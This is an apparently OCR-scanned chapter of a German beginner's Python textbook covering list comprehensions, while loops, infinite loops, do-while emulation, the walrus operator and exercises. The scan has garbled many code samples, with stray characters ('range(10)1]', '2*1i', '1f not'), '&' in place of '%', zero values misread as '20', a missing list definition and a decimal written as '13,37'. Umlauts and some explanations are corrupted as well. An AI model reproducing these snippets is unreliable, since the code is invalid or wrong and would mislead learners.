Beispiel 9.3.24: Wir wollen eine Liste bauen, in der die Zahlen von 0 bis
einschlielSlich 9 gespeichert sind. Daflir schreiben wir in eckige Klammern
eine Variable x, mit der die Liste aufgebaut wird. Dort speichern wir
nacheinander die Werte, die uns die for-Schleife liefert. Als iterierbares
Objekt wird das Ergebnis der range-Funktion mit dem Endwert 10
verwendet. Der Schleifenkopf wird direkt hinter der Variable x notiert:

print ([x for x in range(10)1])
# Ausgabe: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

Beispiel 9.3.25: Wir wollen eine L.iste bauen, in der alle geraden Zahlen
von 0 bis einschliellich 30 gespeichert sind. Daflir schreiben wir in eckige
Klammern eine Variable zahl, mit der die Liste aufgebaut wird. Dort
speichern wir nacheinander die Werte, die uns die for-Schleife liefert. Als
iterierbares Objekt wird das Ergebnis der range-Funktion mit dem
Startwert 0 und dem Endwert 31 verwendet. Warum 31? Nun, weil die
range-Funktion den Endwert ignoriert und wir die 30 trotzdem in der
Liste haben wollen. Als Schrittweite wird 2 verwendet, da uns nur die
geraden Zahlen interessieren und wir bei der 0 mit einer solchen starten:

1 print (gerade)

2 # Ausgabe: [0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26,
28, 30]



Erinnerst du dich noch an die beiden Methoden keys und values aus

Kapitel 8.4, mit denen du dir die Schlissel und die Werte eines
Dictionaries anzeigen lassen konntest? Als Ergebnis kam keine

Liste, sondern ein dict keys- bzw. dict values-Objekt heraus.
Wir mussten diese Objekte erst mithilfe der Funktion 1list in eine
Liste umwandeln. Mit dem Wissen aus diesem Kapitel kénnen wir das
aber auch direkt in einer Liste machen und bendtigen dann die Funktion
11ist gar nicht mehr.

Beispiel 9.3.26: Gegeben sei das folgende Dictionary:
1 dictionary = {"A":0,"B":1,"C":2,"D":3,"E":4}

Wir wollen daraus nun eine Liste bauen, die alle Schlissel des
Dictionaries enthalt. Dafur schreiben wir in eckige Klammern eine
Variable schliissel, mit der die Liste aufgebaut wird. Dort speichern
wir nacheinander die Werte, die uns die for-Schleife liefert. Als
iterierbares Objekt wird das Ergebnis der Methode keys verwendet, die
wir auf dem Dictionary aufrufen:

2 schlisselliste = [schlissel for schlissel in
dictionary.keys ()]

Wenn wir uns die Schlisselliste ausgeben, dann siehst du, dass dort
tatsachlich alle Schliissel des Dictionaries enthalten sind:

3 print (schliisselliste)
# Ausgabe: ['A', 'B', 'C', 'D', 'E']

Beispiel 9.3.27: Gegeben sei das folgende Dictionary:
1 dictionary = {"A":0,"B":1,"C":2,"D":3,"E":4}

Wir wollen daraus nun eine Liste bauen, die alle Werte des
Dictionaries enthalt. Dafir schreiben wir in eckige Klammern eine
Variable wert, mit der die Liste aufgebaut wird. Dort speichern wir



nacheinander die Werte, die uns die for-Schleife liefert. Als iterierbares
Objekt wird das Ergebnis der Methode values verwendet, die wir auf
dem Dictionary aufrufen:

2 werteliste = [wert for wert in dictionary.values() ]

Wenn wir uns die Werteliste ausgeben, dann siehst du, dass dort
tatsachlich alle Schliissel des Dictionaries enthalten sind:

3 print (werteliste)
# Ausgabe: [0, 1, 2, 3, 4]

Man kann statt einfachen Werten wie Integern oder Strings auf
diese Weise auch eine Liste aus Tupeln aufbauen.

Beispiel 9.3.28: Gegeben sei die folgende Namensliste:

1 namen = ["Chan", "Kevin", "Mayu", "Haruka"]

Wir wollen daraus nun eine Liste bauen, die alle Namen zusammen mit
ihren dazugehorigen Indizes in Tupeln enthalt, also z. B. ("Kevin", 1)
fir den Namen Kevin. Dafiir schreiben wir in eckige Klammern ein
Tupel, das angibt, wie die Elemente in der Liste aufgebaut sein sollen.
In dem Tupel wird zuerst eine Variable name und dann der Index i
notiert, also (name, 1). Dahinter folgt der Schleifenkopf, in dem die
beiden Variablen i und name aus dem Ergebnis des Funktionsaufrufs
enumerate mit der Namensliste als Parameter notiert werden:

2 [(name,i) for i,name in enumerate (namen) ]

Wenn wir uns die L.i ste ausgeben lassen, erhalten wir genau das, was wir
erwartet haben:

2 print ([ (name, i) for i,name in enumerate (namen) ])
# Ausgabe: [ ("Chan",0), ("Kevin",1), ("Mayu",2), ("Haruka", 3)]



Du fragst dich jetzt vielleicht, weshalb wir im Schleifenkopf zuerst i und
dann name geschrieben haben, obwohl wir es im Tupel genau
andersherum verwenden. Das liegt an der Funktion enumerate, die

zuerst den Index und dann das Element liefert. Es ist aber kein Problem, die
Variablen vor dem Schleifenkopf so umzustellen, wie man es spater
braucht. Du konntest sie sogar mehrfach verwenden und mit ihnen
Berechnungen durchfiihren:

3 print([(i,2*1i) for i,name in enumerate (namen) ])
# Ausgabe: [(0, 0), (1, 2), (2, 4), (3, 6)]

9.4 Die while-Schleife

9.4.1 Wie funktioniert eine while-Schleife?

Der zweite Schleifentyp, den es neben der for-Schleife in Python gibt, ist
die while-Schleife. Wahrend bei einer for-Schleife ein fest vorgegebener
Bereich durchlaufen wird, hangt die while-Schleife von einer Bedingung
ab. Bedingung? Das klingt doch nach einer if-Anweisung! Das stimmt,
allerdings wird die Bedingung bei einer i f-Anweisung nur einmal gepruft.
Bei einer Schleife mochte man aber einen Codeblock mehrfach
hintereinander ausfiihren, ghne Code kopieren zu missen.

Das waren jetzt viele Begriffe, die wir hier zusammengeschmissen haben.
Schauen wir uns am besten zuerst einmal die Code-Schablone fir eine
while-Schleife an und besprechen danach, wie dieser Schleifentyp

funktioniert:

while <Bedingung>:
<Anweisung 1>
<Anweisung 2>

<Anweisung n>

Code-Schablone 9.4.1: Aufbau einer while-Schleife



Wie du siehst, ist der Aufbau einer while-Schleife sehr dhnlich zu dem
einer for-Schleife. Das Keyword while leitet die while-Schleife ein.
Dahinter folgt wie bei einer i f-Anweisung eine <Bedingung> in Form
eines logischen Ausdrucks. Das Ende der <Bedingung> wird durch einen
Doppelpunkt : gekennzeichnet. Solange die <Bedingung> erflllt (also
True) ist, werden die eingerlickten <Anweisungen> ausgefiihrt. Sobald
die <Bedingung> nicht mehr erfillt, also False ist, wird der Code
auBerhalb der while-Schleife ausgefiihrt. Das lasst sich graphisch mit
dem folgenden Ablaufdiagramm visualisieren:

START

<BEDINGUNG> False

erfullt?

A 4

<Anweisung 1>
<Anweisung 2> Code aulRerhalb der

whi 1le-Schleife

<Anweisung n>

Abbildung 9.4.1: Ablauf einer whi1e-Schleife

Beispiel 9.4.1: Wir wollen die Zahlen von 1 bis 100 ausgeben. Zuerst
definieren wir uns eine Variable zahl, der wir den Wert 1 zuweisen.

1 zahl =1

Diese soll innerhalb der while-Schleife ausgegeben werden. Wie bei einer
if-Anweisung formulieren wir nun eine <Bedingung>, anhand der



entschieden wird, ob die Schleife erneut durchlaufen werden soll. Was fir
eine <Bedingung> kénnte das sein, wenn wir die Zahlen von 1 bis 100

ausgeben wollen und wir bei der 1 starten? Richtig! Die Variable zahl
muss < 100 sein:

2 while zahl <= 100:

Jetzt geben wir den aktuellen Wert der Variable zahl mithilfe der
Funktion print aus:

3 print(zahl)

Anders als bei einer for-Schleife wird uns das Hochzahlen der Variable
zahl picht von Python abgenommen. Es wird schlielllich kein fest

vorgegebener Bereich an Elementen abgeklappert, sondern in jedem
Schleifendurchlauf eine <Bedingung> Uuberpriuft. Wenn wir unser
Programm jetzt starten, wirde es in einer sogenannten Endlosschleife
festhangen und ewig laufen, da die <Bedingung> zahl <= 100
immer erflllt ware. Da sich der Wert der Variable zahl, der wir anfangs
die 1 zugewiesen haben, nicht andert, ist die <Bedingung> stets True
und es wird so lange die 1 ausgegeben, bis wir das Programm zum

Abbruch zwingen. Die Losung flir unser Problem ist ganz einfach: Wir figen
ganz am Ende des Schleifenrumpfs eine <Anweisung> hinzu, die den

Wert der Variable zah1 um 1 hochzahlt:

4 zahl = zahl + 1

Das vollstandige Programm sieht dann wie folgt aus:

1 zahl =1

2 while zahl <= 100:
3 print(zahl)

4 zahl = zahl + 1

An diesem Beispiel kannst du bereits erkennen, dass es nicht immer Sinn




ergibt, eine while-Schleife zu verwenden. Immer dann, wenn du einen
fest definierten Bereich durchlaufen mochtest, ist die for-Schleife der
while-Schleife vorzuziehen. Dieselbe Aufgabe hattest du mit einer for-
Schleife namlich in nur zwei Codezeilen [6sen kdnnen:

1 for zahl in range(1,101):
2 print(zahl)

Schauen wir uns jetzt mal ein Beispiel an, bei dem der Einsatz einer
while-Schleife uns das Leben erheblich erleichtert.



Beispiel 9.4.2: Wir wollen eine Zahl beginnend bei 1 hochzahlen und erst
damit aufhdéren, wenn der Benutzer unseres Programms es mochte. Die
Zahl soll zum Schluss ausgegeben werden.

Der Verlauf dieses Programms hangt offenbar von dem Willen des
Benutzers ab, der das Programm gestartet hat. Zuerst definieren wir uns
eine Variable zahl, die hochgezahlt werden soll. Diese initialisieren wir

mit 0. Warum nicht mit 1? Das wirst du spater noch sehen.

1 zahl = 0

Jetzt definieren wir uns eine Variable fort fahren, die zur Formulierung
der <Bedingung> in der while-Schleife verwendet werden soll. Diese

Variable wird spater in jedem Schleifendurchlauf vom Benutzer des
Programms festgelegt. Als Optionen geben wir J fiur ,Ja“ und XN fir ,Nein®

vor. Da wir zu Beginn die Schleife mindestens einmal durchlaufen wollen,
setzen wir den Wert von fortfahren auf J:

2 fortfahren = "J"

Jetzt beginnen wir die eigentliche while-Schleife. Dort wird hinter dem
Keyword while die <Bedingung> zum Wiederholen des
Schleifenkorpers festgelegt:

3 while fortfahren == "J":

Damit driicken wir aus, dass die Schleife so lange fortgesetzt werden soll,
wie die Variable fortfahren den Wert J hat. Das Ergebnis des logischen

Ausdrucks

fortfahren == "J"

ist dann True. Wenn fortfahren einen anderen Wert (z. B. N) besitzt,
ist der logische Ausdruck False und es wird der Code aullerhalb der
while-Schleife ausgefiihrt.

Jetzt erhdhen wir den Wert der zahl um 1. Beachte, dass dieser Code



nun eingeruckt wird, da es sich hier um eine <Anweisung> innerhalb der
while-Schleife handelt:

4 zahl = zahl + 1

AnschlieRend wird der aktuelle Wert der zah1 ausgegeben:

5 print(zahl)

Jetzt siehst du vielleicht schon, weshalb wir die zahl bei 0 und nicht 1
haben starten lassen. Hatten wir bei 1 begonnen, wadre die erste
ausgegebene Zahl eine 2 gewesen. Auch wenn wir Informatiker mit 0 als
erste Zahl beim Zahlen schon eine von der Norm abweichende Zahlweise
haben, ware die 2 selbst fir uns zu viel des Guten. Jetzt kommt der
Moment, der Uber Leben und Tod der while-Schleife entscheidet: Die
Entscheidung des Benutzers. Wir fragen mit der Funktion input ab, ob
der Benutzer das Programm weiter hochzahlen lassen oder es beenden
mochte. Das Ergebnis speichern wir in der Variable fortfahren.
Beachte, dass wir uns immer noch innerhalb der while-Schleife befinden
und der Code deshalb eingeriickt sein muss:

6 fortfahren = input ("Hochzahlen? (J/N) ")

Jetzt springt Python wieder zuriick in Zeile 3 und prift, ob die
<Bedingung> noch erfillt ist. Wenn der Benutzer J eingegeben hat,

werden die <Anweisungen> in den Zeilen 4 bis 6 erneut ausgefihrt.
Ansonsten wird der Code auRerhalb der while-Schleife ausgefiihrt:

7 print (f"Du hast bis {zahl} gezahlt.")

Ein interessanter Nebeneffekt unserer <Bedingung> ist, dass das
Programm auch bei fehlerhafter Eingabe (z. B. einem K) nicht zu einem
Fehler fihrt. Eigentlich haben wir nur die Antwortmaoglichkeiten J und N
vorgesehen, doch da wir nur prifen, ob der Wert von fortfahren Jist,
wird in allen anderen Fallen die while-Schleife einfach abgebrochen.



Beachte auRerdem, dass der Benutzer seine Eingaben ghne die
Anfiihrungszeichen macht. Die Anflihrungszeichen innerhalb unseres
Programmes signalisieren nur, dass es sich um einen St ring handelt.

Schauen wir uns noch ein weiteres Beispiel an. Uberlege dir schon mal, ob
hier der Einsatz einer while- oder eine for-Schleife besser ware.

Beispiel 9.4.3: Pokémon sind kleine Monster, die aus der fiktiven Welt des
gleichnamigen Anime-Klassikers stammen. Als eifriger Pokémon-Trainer
hast du bereits drei Monster gefangen und mochtest sie dir allesamt
ausgeben lassen:

1 pokemons? = ["Schiggy","Bisasam", "Glumanda"]

Du entscheidest dich fiir eine while-Schleife. Daflir bendtigst du eine
Variable index, die du im Schleifenkdrper zum Adressieren der einzelnen
Elemente in der Liste verwenden kannst. Diesem index wird zu Beginn
der Wert 0 zugewiesen:

2 index = 0

Jetzt kommt die eigentliche while-Schleife. Wie du bereits weillt, muss
jetzt eine <Bedingung> formuliert werden. Da du alle Elemente in der
Pokémon-Liste durchlaufen willst, darf der index einfach nur nicht groRer
als die Anzahl der Pokémon in der Liste werden. Oder anders
ausgedrickt: Der index muss kleiner als die Anzahl der Elemente in der
Liste pokemons sein:

3 while index < len (pokemons) :

Warum , kleiner als“ (<) und nicht ,kleiner gleich” (<=)? Nun, wenn der

Index genauso grofd sein durfte wie die Anzahl der Pokémon in der
Liste, dann wirde es zu einem Zugriffsfehler kommen, da wir bei den

Indizes stets bei 0 zu zdhlen beginnen. Im Schleifenkérper geben wir als
erste Anweisung das Pokémon an der aktuellen Position (index) in der
Liste aus:




4 print (pokemons[index])

Jetzt musst du nur noch mit einer zweiten <Anweisung> den Wert der
Variable index um 1 erhohen:

5 index = index + 1

Und, hast du dir Gedanken dariber gemacht, ob hier eine while- oder
for-Schleife besser ist? Natirlich ist in diesem Fall die for-Schleife
besser, weil du einen fest vorgegebenen Bereich hast, der durchlaufen
werden soll. Mit einer for-Schleife hattest du nur drei statt finf
Codezeilen bendtigt:

1 pokemons = ["Schiggy","Bisasam","Glumanda"]
2 for pokemon in pokemons:

3 print (pokemon)

9.4.2 Die Endlosschleife

Eine Gefahr bei while-Schleifen besteht darin, dass das Programm ghne
unser Zutun ungewollt bis zum Sankt-Nimmerleins-Tag weiterlauft und
niemals endet. Man sagt, dass das Programm dann in einer Endlosschleife
bzw. einer nicht-terminierenden Schleife feststeckt. Wie kann das
passieren? Nun, wenn die <Bedingung> einer while-Schleife immer
True ist und niemals False werden kann, ist ein Ausbruch aus der
Schleife nicht so ohne Weiteres moglich.

Ein Beispiel fir eine solche Endlosschleife hast du bereits kennengelernt,
namlich bei unserem ersten Versuch, eine while-Schleife zu
implementieren:

1 zahl =1
2 while zahl <= 100:
3 print(zahl)

Wird der Wert der Variable zahl nicht innerhalb der while-Schleife




hochgezahlt, dann andert sich nichts an dem Wahrheitsgehalt der
<Bedingung>

zahl <= 100

und es kommt stets True heraus, was in der Schleifenwelt einem
,Weitermachen” gleichkommt. Die Code-Schablone einer Endlosschleife
sieht folgendermalen aus:

while True:
<Anweisung 1>

<Anweisung n>

Code-Schablone 9.4.1: Aufbau einer while-Schleife

Oft erkennt man als Programmierer gar nicht, dass fiir die formulierte
<Bedingung> immer True herauskommt und tappt somit unfreiwillig in
die Falle. In dem folgenden Beispiel ist nicht sofort ersichtlich, dass die
Schleife nie verlassen wird.

Beispiel 9.4.4: Die folgende Endlosschleife ist nicht offensichtlich:

1 zahl = 0

2 while zahl & 2 ==

3 zahl = zahl + 2

4 print (f"Die Zahl {zahl} ist ungerade.")

Dieses Programm prift, ob die Variable zahl gerade oder ungerade ist
und gibt die erste ungerade Zahl aus, auf die es trifft. In Zeile 1 erhalt die
Variable den Wert 0 und da O eine gerade Zahl ist, treten wir in die
while-Schleife ein. Anders als in den bisherigen Beispielen zur
Endlosschleife wird die Variable zahl in Zeile 3 zwar verandert, doch
immer nur um den Wert 2. Da zahl zuvor allerdings schon gerade war,
wird sie auch jetzt gerade sein und es folgt ein weiterer Schleifendurchlauf.
Da gerade Zahlen einen Abstand von 2 haben, werden wir durch Zeile 3
immer nur gerade Zahlen produzieren und niemals die Schleife verlassen.
Darum handelt es sich auch bei Beispiel 9.4.4 um eine Endlosschleife.



Bei einfachen Programmen sind Endlosschleifen in der Regel kein Problem,
da man sie als erfahrener Programmierer im Quellcode recht schnell
erkennen kann. Sobald aber mehrere unabhdngig voneinander entwickelte
Software-Komponenten zusammenarbeiten missen oder die Komplexitat
der <Bedingung> zunimmt, kann man schnell mal den Uberblick
verlieren. Leider gibt es keinen Algorithmus, mit dem man in endlicher Zeit
entscheiden kann, ob ein Programm terminiert oder nicht. In der
Informatik bezeichnet man das als Halteproblem. In dem folgenden Video
erfahrst du mehr Uber das Halteproblem und warum man es nicht
entscheiden kann:

https://florian-dalwigk.com/python-einsteiger/halteproblem

Es gibt aber Falle, in denen eine Endlosschleife tatsachlich erwiinscht ist.
Das ist z. B. bei einem Videospiel der Fall, das so lange laufen soll, bis der
Spieler das Spiel beenden méchte. Hier spricht man von einer sogenannten
Hauptereignisschleife, die so lange ausgefihrt wird, bis der Benutzer das
Programm beenden mdchte. Als Beispiel schauen wir uns den folgenden
Ausschnitt aus einem Spiel an, das mit der Bibliothek pygame entwickelt

wurde:

weiter = True

while weiter:

1

2

3 for event in pygame.event.get () :
4 if event.type == pygame.QUIT:

5

weiter = False


https://florian-dalwigk.com/python-einsteiger/halteproblem

In Zeile 1 wird mit weiter ein Schalter gesetzt, der dann kontinuierlich
abgefragt wird. In Zeile 3 werden alle Events, die im Spiel auftreten,
abgefangen und nacheinander durchgegangen. In Zeile 4 wird geprift, ob
das Event pygame.QUIT dabei war, d. h., der Spieler méchte das Spiel
beenden. Erst dann wird der Wert von weiter auf False gesetzt und die
Schleife dadurch beendet. Hier ergibt es Sinn, eine (zumindest temporare)
Endlosschleife einzusetzen, da man ansonsten bspw. erraten misste, wann
der Spieler sein Spiel beenden modchte. Eine weitere Anwendung von
Endlosschleifen findet man bei der Client-/Server-Programmierung. Der
Server muss standig laufen, um Anfragen von den Client-Programmen bei
Bedarf entgegennehmen zu kénnen.

9.4.3 Die do-while-Schleife

In vielen Programmiersprachen gibt es neben der klassischen while-
Schleife noch die do-while-Schleife. In Python gibt es kein Keyword do,
was diesen Schleifentypen einleiten kdnnte. Das liegt daran, dass Python
das Konzept der do-while-Schleife eigentlich nicht vorsieht. Da ich dir in
diesem Lehrbuch auch allgemeine Programmierkonzepte beibringen
mochte, erklare ich dir kurz die Idee hinter diesem Schleifentyp und wie
man sie in Python umsetzen kann. Schauen wir uns dazu mal das folgende
Ablaufdiagramm an:



do-while

<BEDINGUNG> False

erfullt?

h 4

<Anweisung 1>
<Anweisung 2> Code auBerhalb der
while-Schleife

<Anwelsung n>

|

START

Abbildung 9.4.2: Ablauf einer do-wh1i 1e-Schleife

Wie du siehst, ist im Vergleich zum Ablaufdiagramm einer whi1le-Schleife
(Abbildung_ 9.4.1: Ablauf einer while-Schleife) lediglich der
Startpunkt verschoben. Bei einer do-while-Schleife soll namlich der
Schleifenkérper mit den <Anweisungen> mindestens einmal
durchlaufen werden, und zwar unabhangig davon, ob die <Bedingung>
erflllt ist oder nicht. Der Fokus liegt hier also auf dem ,,Machen” (do).

Wie kann man das aber in Python umsetzen, wenn die Bordmittel dafir
nicht zur Verfigung gestellt werden? Ganz einfach! Wir kopieren alle
<Anweisungen>, die innerhalb der while-Schleife ausgefuhrt werden

sollen, vor die while-Schleife. Dadurch stellen wir sicher, dass die
<Anweisungen> mindestens einmal ausgefihrt werden, auch wenn die
<Bedingung> False ist. Die Code-Schablone einer do-whi 1le-Schleife
sieht dann folgendermalien aus:

<Anweisung 1>



<Anweisung n>
while <Bedingung>:
<Anweisung 1>

<Anweisung n>

Code-Schablone 9.4.2: Aufbau einer do-while-Schleife

Beispiel 9.4.5: So sieht eine do-while-Schleife mit kopierten
Anweisungen aus:

1 zahl = 0

2 print (zahl)

3 zahl = zahl + 1
4 while zahl < 10:
5 print(zahl)

6 =zahl = zahl + 1

Wie du dir aber denken kannst, ist das Kopieren von Code alles andere als
asthetisch und wird unter Programmierern als schlechter Stil angesehen.
Deshalb gibt es eine weitere Implementierungsmoglichkeit fir do-while-
Schleifen in Python, die auf der bereits angesprochenen Endlosschleife fulst
und durch die folgende Code-Schablone abgebildet werden kann:

while True:
<Anweisung 1>

<Anweisung n>
if not <Bedingung>:

break

Code-Schablone 9.4.3: do-while-Schleife auf Basis einer Endlosschleife

Bei dieser Variante wird eine Endlosschleife eingesetzt (while True).

Dadurch wird sichergestellt, dass wir den Schleifenrumpf mindestens
einmal betreten. Nachdem alle <Anweisungen> abgearbeitet wurden,

wird mit einer i £-Anweisung geprift, ob die <Bedingung>, die bei einer
while-Schleife normalerweise hinter dem Keyword while steht, nicht
(not) erfillt ist. Wenn das der Fall ist, d. h., die while-Schleife wiirde



jetzt normalerweise enden, wird die Endlosschleife mit dem Keyword
break unterbrochen.

Beispiel 9.4.6: Unser Programm aus Beispiel 9.4.5 wiirde mit Code-
Schablone 9.4.4 folgendermalen aussehen:

1 zahl = 0

2 while True:

3 print(zahl)

4 zahl = zahl + 1

5 1f not zahl < 10:
6

break

Code-Schablone 9.4.4: do-while-Schleife

Die <Bedingung> fur den Abbruch der do-while-Schleife in Zeile 5
konntest du auch ghne das Keyword not formulieren, indem du die
Negation der Aussage

zahl < 10

bildest:

5 1f zahl >= 10:

9.4.4 Der Walross-Operator : =

Mit Python 3.8 wurde die Sprache um ein neues Feature erweitert, das die
Lesbarkeit und das intuitive Schreiben von Code erleichtert hat: Der
Walross-Operator. Warum Walross? Nun, der Operator erinnert an das
Gesicht eines Walrosses:

Wo kann man diesen Operator einsetzen? Schauen wir uns dazu ein
Beispiel an.

Beispiel 9.4.7: Wir wollen fir einen Python-Kurs eine Teilnehmerliste
erstellen. Hierfiir sehen wir zu Beginn eine leere Liste vor:



1 teilnehmerliste = []

Nehmen wir an, dass die Abfrage von Teilnehmern erst dann enden soll,
wenn der Benutzer ein X eingibt. Ohne den Walross-Operator wiirden wir

zundchst eine Variable teilnehmer definieren, ihr das Ergebnis der
input-Abfrage zuweisen und den Wert dann in der while-Bedingung
Uberprifen:

2 teilnehmer = input ("Teilnehmer: ")

3 while teilnehmer != "X":

Innerhalb der while-Schleife missen wir jetzt allerdings erneut den
Teilnehmer Uber input abfragen, da sich sonst der Wert der Variable
teilnehmer nicht mehr andert:

4 teilnehmer = input ("Teilnehmer: ")

Der eingelesene Teilnehmer wird dann der Liste hinzugefiigt und diese
am Ende ausgegeben:

5 teilnehmerliste.append(teilnehmer)

6 print (teilnehmerliste)

Das ist alles andere als elegant, denn auch hier missen wir wieder Code
kopieren. Mit dem Walross-Operator kann man die Zuweisung des
Ergebnisses von input und die Prifung, ob ein X eingegeben wurde,
direkt in der Bedingung hinter dem Keyword while vornehmen.

Beispiel 9.4.8: Wir definieren uns eine leere Teilnehmerliste, doch anstatt
schon vor dem Beginn der while-Schleife den Benutzer mit input nach
einem Teilnehmer zu fragen, machen wir das mit dem Walross-Operator
: = direkt hinter dem Keyword while:

1 teilnehmerliste = []
2 while (teilnehmer := input ("Teilnehmer: ")) != "X":

3 teilnehmerliste.append(teilnehmer)



4 print(teilnehmerliste)

Wie du in Zeile 2 sehen kannst, haben wir direkt hinter dem Keyword
while geprift, ob das Ergebnis der Eingabe ein X ist. Daflir missen aber

Klammern um den Block mit dem Walross-Operator notiert werden, da
ansonsten die Ergebnisse des Vergleichs

input ("Teilnehmer: ") != "X"

in die Teilnehmerliste eingetragen werden. Dieser Vergleich ergibt immer
True, auller wenn der Benutzer ein X eingibt, denn dann bricht die

while-Schleife ab. Gibt der Benutzer also erst ein m und danach ein X ein,
dann steht in der Teilnehmerliste ein True, weil der Vergleich

LU
True ist und mit dem darauffolgenden X die Schleife abbricht:

while teilnehmer := input ("Teilnehmer: ") != "X": # Eingabe: m

teilnehmerliste.append (teilnehmer) # Teilnehmerliste = [True]

9.4.5 for-Schleife vs. while-Schleife

Zum Schluss dieses Kapitels stellen wir noch einmal die for- und while-
Schleife gegenliber, damit du besser einschatzen kannst, wann du was
verwenden solltest:

while-Schleife for-Schleife

Wird verwendet, wenn kein vorgegebener  Wird verwendet, wenn ein vorgegebener Bereich
Bereich durchlaufen werden soll, sondern der durchlaufen werden soll.
Abbruch von einer Bedingung abhangt.

Wird verwendet, wenn der Benutzer den Wird verwendet, wenn der Durchlauf des

Abbruch der Schleife steuern kdnnen soll.  vorgegebenen Bereichs nicht durch den Benutzer
unterbrochen werden soll.

Endet, sobald die Bedingung nicht mehr Endet, sobald der vorgegebene Bereich vollstandig
erfillt ist. durchlaufen wurde. Die Bedingung waére hier ,so
lange noch nicht am Ende angekommen®,



Kann endlos laufen. Kann nicht endlos laufen.
Beispiele: Hauptereignisschleife, Videospiele, Beispiele: Listen, Tupel, Strings,

Client-/Server-Programmierung, ... Zahlenbereiche, ...

Tabelle 9.4.1: while-Schleife vs. for-Schleife

9.5 Ubungsaufgaben

9.5.1 i f-Anweisungen

@ Schreibe eine Programm, das einen Benutzer nach seinem Namen
fragt. Wenn der Name mit einem Vokal (A, E, |, O oder U) beginnt, dann soll
er komplett in GroRbuchstaben ausgegeben werden. Ansonsten soll die
Meldung Dein Name beginnt nicht mit einem Vokall!
erscheinen. Schreibe das Programm so, dass es fiir den Benutzer egal ist,
ob er seinen Namen groR oder klein schreibt.




@ Welchen Wahrheitswert gibt das folgende Programm aus?

x = True
y = False

if x and y or not x:

1

2

3

4 print(y)
5 else:

6

print (x)

@ Schreibe ein Programm, das den Benutzer danach fragt, wie es ihm
geht. Als Antwortmoglichkeiten sollen top, gut und schlecht erlaubt
sein. Wenn es dem Benutzer top geht, dann soll das Programm Sehr
gut! antworten. Wenn es dem Benutzer gut geht, dann soll das
Programm Das freut mich! antworten. Wenn es dem Benutzer
schlecht geht, dann soll das Programm Oh nein! antworten. In allen
anderen Fallen gibt das Programm nichts aus.

@ Welche Zahl wird von dem folgenden Programm ausgegeben?

1 zahl = 111

2 if zahl % 5 == 2:

3 zahl = 112

4 elif zahl % 11 == O:
5 zahl = 113

6 elif zahl % 3 == 0:
7 zahl = 114

8 else:

9 zahl = 115

10 print (zahl)

@ Schreibe ein Programm, in dem der Benutzer dazu aufgefordert wird,
eine Zahl von 1 bis einschlielllich 10 als kleingeschriebenes Wort
einzugeben. Das Programm soll dieses Wort dann in eine Zahl von 1 bis 10
umwandeln und ausgeben. Verwende hierfir eine if-elif-else-
Anweisung. Wenn der Benutzer kein passendes Wort eintragt, dann soll
Diese Zahl ist mir nicht bekannt! ausgegeben werden.




@ Schreibe das Programm aus Aufgabe @ mithilfe einer match-case-
Anweisung um.

9.5.2 for-Schleifen
@ Gegeben sei die folgende Liste:

zahlen = [10,11,12,13,14,15,16,17,18,19,20]

Gib mithilfe einer for-Schleife alle geraden Zahlen aus, die sich in dieser
Liste befinden. Verwende dafiir die range-Funktion.

@Gegeben sei die folgende Liste:

zahlen = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15]

Gib mithilfe einer for-Schleife alle chne Rest durch 3 teilbaren Zahlen, die
sich in dieser Liste befinden, aus. Verwende dafiir die range-Funktion.

@ Gib alle Namen in der folgenden Liste mithilfe einer for-Schleife
ruckwarts aus:

namen = ["Kevin","Junus","Flo","Lisa","Laura"]

@ Gib die Namen aus der folgenden Liste zusammen mit ihrer Position
(Index) aus:

namen = ["Anna","Bella","Charlotte","Diana","Erika", "Fiona"]
@ Gegeben sei die folgende Liste:

[(1,2,3),(4,5,6),(7,8,9),(10,11,12), (13,14,15), (16,17,18) ]

Baue diese Liste nach, indem du innerhalb der eckigen Klammern eine
for-Schleife definierst (Kapitel 9.3.4).

@ Schreibe eine Funktion matrix ausgeben, die als Parameter eine



Matrix in Form einer zweidimensionalen Liste mit dem Namen matrix
erhalt und diese ausgibt. Der Aufruf

matrix ausgeben([[1,2,3,4],[5,6,7,8]])

soll bspw. zu der folgenden Ausgabe flihren:

@ Gegeben sei die folgende L.i ste mit Obstsorten:

obstsorten = ["Banane","Apfel","Mango", "Erdbeere",
"Melone"]

Es sollen nacheinander alle Obstsorten in der L.i ste ausgegeben werden,

bis die erste mit acht Buchstaben erscheint. Diese Obstsorte soll, wie alle
folgenden, nicht mit ausgegeben werden.

Wie viele Ausrufezeichen werden von dem folgenden Programm
ausgegeben?

1 x=20

2 for 1 in range(5):
3 x +=1

4 for j in range(x):
5 print("!")

9.5.3 while-Schleifen
@ Welche der folgenden while-Schleifen sind Endlosschleifen?

1 while True and False:

2 print("Ich bin ein Text.")

1 weitermachen = False

2 while weitermachen:



weitermachen = True
if weitermachen:
print ("Das Programm wird ausgefihrt.")

else:

N o o bW

print ("Das Programm wird nicht ausgefihrt.")

1 zahl = 3

2 while zahl & 2 != 0:
3 print(zahl)

4 zahl = zahl * 3

weltermachen True

while weitermachen:

1
2
3 weitermachen = input ("Weitermachen? ")
4 if weitermachen != False:

5

weltermachen = True

@ Schreibe die folgende while-Schleife mithilfe einer for-Schleife um:

1 ausgaben = [12.50, 13.99, 21.75, 3.14, 13,37]
2 i=20

3 while True:

4 if i == len (ausgaben):

5 break

6 print (ausgaben[i])

7 i +=1

@ Schreibe die folgende while-Schleife mithilfe einer £or-Schleife um:

1 matrix = [[1,0,0],[0,1,0],[0,0,171]
2 zeilen = len(matrix)

3 spalten = len(matrix[0])

4 1 =0

53 =20

6 ergebnis = ""

7 while i < zeilen:



8 while j < spalten:

ergebnis += str(matrix[i][]])

10 j +=1
11 ergebnis += "\n"
12 3 =0
13 i +=1

14 print (ergebnis)

@ Wende die Code-Schablone 9.4.4 fiir eine do-while-Schleife auf das
folgende Programm an, damit die Schleife mindestens einmal durchlaufen
wird:

1 fortschritt = 100

2 limit = 100

3 while fortschritt < limit:

4 print(f"Laden ... {fortschritt/limit*100}%")
5 fortschritt += 1

@ Schreibe das folgende Programm mithilfe des Walross-Operators so
um, dass die Benutzereingabe input nur einmal auftaucht:

gerade = []

zahl = int (input ("Gib eine gerade Zahl ein: "))
while zahl % 2 ==

gerade.append (zahl)

zahl = int (input ("Gib eine gerade Zahl ein: "))

A 0 A WN R

print (gerade)

In der folgenden Playlist findest du die Lésungen zu den Ubungsaufgaben
aus diesem Kapitel:



